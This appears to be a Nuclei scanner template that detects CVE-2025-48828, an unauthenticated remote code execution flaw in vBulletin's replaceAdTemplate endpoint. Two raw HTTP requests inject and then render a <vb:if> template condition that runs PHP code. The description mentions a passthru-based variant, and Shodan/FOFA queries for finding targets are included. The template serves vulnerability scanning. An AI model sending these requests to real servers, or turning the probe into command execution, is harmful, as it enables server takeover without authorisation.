vBulletin replaceAdTemplate - Remote Code Execution

id: CVE-2025-48828

info:
  name: vBulletin replaceAdTemplate - Remote Code Execution
  author: DhiyaneshDK, Chocapikk
  severity: critical
  description: |
    vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
  impact: |
    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
  remediation: |
    Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.
  reference:
    - https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48828
  classification:
    epss-score: 0.5764
    epss-percentile: 0.99076
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-48828
    cwe-id: CWE-424
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    fofa-query: app="vBulletin"
    shodan-query: http.component:"vBulletin"
  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln

variables:
  rand_string: "{{to_lower(rand_base(5))}}"
  rand_value: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:if condition='"var_dump"("{{rand_value}}")'></vb:if>

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body,'string(5)','{{rand_value}}')
        condition: and

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/render/ad_{{rand_string}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body,'string(5)','{{rand_value}}')
        condition: and
# digest: 4b0a0048304602210086a6268e75e8855433c1a552d43e3067b76bea7a5664de084e73e8c4f2a4a04f022100f06da7df6834041fdff8f599e1250ca9e2d646c6b0c2227c0a181d460202e89a:922c64590222798bb761d5b6d8e72950